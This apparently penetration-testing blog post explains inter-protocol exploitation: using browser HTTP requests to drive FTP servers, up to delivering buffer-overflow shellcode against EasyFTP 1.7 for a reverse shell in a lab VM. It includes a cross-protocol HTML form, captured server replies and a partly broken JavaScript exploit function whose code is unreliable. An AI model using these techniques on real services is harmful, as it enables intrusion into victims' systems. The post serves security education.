Inter-Protocol Communication – Exploitation


What is it?

Inter-Protocol Communication is the ability of two different protocols to exchange meaningful commands and data.

These two protocols can be called the target protocol and the carrier protocol. The target protocol is the protocol on the receiving end with which we wish to communicate. The carrier protocol is the protocol that we will use to encapsulate and send the commands and data.

There are a few requirements for communication to be possible:

What can you do with it?

Inter-Protocol Exploitation: use a protocol to attack a service running another protocol. Wade Alcorn researched about this in 2006⁄2007 (see [1] and [2]).

It is particularly interesting to talk about HTTP as the carrier protocol because attacks can be launched from a web browser and everyone has one! This kind of attack can be used by an attacker to gain access to resources and services that only the victim has access to by making the victim do the “dirty work”.

Newline-based protocols such as SMTP, POP3, IRC and FTP - that use new lines as separators - are affected by this because the lines sent to the target protocol are interpreted one at a time. Add the fact that the target protocol is error tolerant and this makes it possible for the target to simply ignore the lines it doesn’t understand and interpret the lines it does.

To better understand how this works, let’s look at a simple example.

Example 1 : Connecting to FTP through HTTP

It is very easy to make a browser connect to an FTP server with an HTTP POST request. Here’s what the HTML form looks like if the FTP server is on the same machine as the browser:

<form method='POST' action='http://localhost:21' enctype='multipart/form-data'>
<input type='hidden' name='a' value='user secforce'>
<input type='hidden' name='a' value='pass secforce'>
<input type='submit'>

Supposing that this FTP user and password exist, when this form is submitted you will have logged in to your FTP server. Easy, right?

This is the actual HTTP POST request being sent:

User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653
Content-Length: 304

Content-Disposition: form-data; name="a"

user secforce
Content-Disposition: form-data; name="a"

pass secforce

Here is the reply we receive from the FTP server. All the 50x errors correspond to the HTTP lines the server didn’t understand. The server ignores those and interprets the lines it does understand.

220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-Local time is now 12:41. Server port: 21.
220-This is a private system - No anonymous login
220 You will be disconnected after 15 minutes of inactivity.
530 You aren't logged in
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
500 ?
331 User secforce OK. Password required
500 ?
500 ?
500 ?
230 OK. Current directory is /
500 ?

In-band vs out-of-band control

You might notice that not all FTP commands work over HTTP. Commands like MKD/RMD and DEL work whereas GET/PUT, RETR/STOR don’t. The reason for this is that FTP is an out-of-band protocol, meaning it uses separate TCP ports for data and control connections. In fact, if you try to use STOR to upload a file to the server, you will create an empty file with the name you specified. This happens because the file is created before the transfer occurs. All commands that don’t need a separate data connection - that only use the control connection - will work.

Let’s now look at a more interesting example.

Example 2 : Running an FTP exploit through HTTP.

For this example we picked EasyFTP v1.7, an FTP server vulnerable to a buffer overflow on the MKD command. Note that this command only uses the control connection, which makes our life easier! We set up the server in a virtual machine ( and created the user ‘anonymous’ because for the exploit to work you need to be logged in to the server.

No need to reinvent the wheel so we took a known exploit (see [6]) and crafted a POST request (this time with Javascript) to deliver the shellcode to our FTP server. To send the shellcode we used sendAsBinary as shown by Michele Orru and Ty Miller in RuxCon 2012 (see [4]). Check out their Inter-Protocol Exploitation research with BeEF (see [3]).

Here is our function:

function exploit(){
var url = ''
var intro = 'USER anonymous\r\nPASS anonymous\r\n'
var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7
var req = new XMLHttpRequest();'POST', url, true);
req.setRequestHeader('Content-Type', 'text/plain');
req.setRequestHeader('Content-Length', '20');
req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP

As a payload we chose a reverse shell to port 4444 of our host and set up a listener there. We then inserted this javascript code in a webpage and opened it in our host’s browser. Guess what?


Happy days! 🙂

How to defend against it?


As mentioned before, this kind of attack has several limitations and requirements. Although there are often easier ways to achieve the same result, under certain circumstances, this can be a valid vector of attack.

More about this










You may also be interested in...

Nov. 10, 2021

DLL Hollowing

A deep dive into a stealthier memory allocation variant, analyzing advantages, pitfalls and artifacts

See more
Oct. 30, 2008

Penetration testing and risk management

Penetration tests need to put findings into context performing a risk assessment of how a specific security issue affects the business.

See more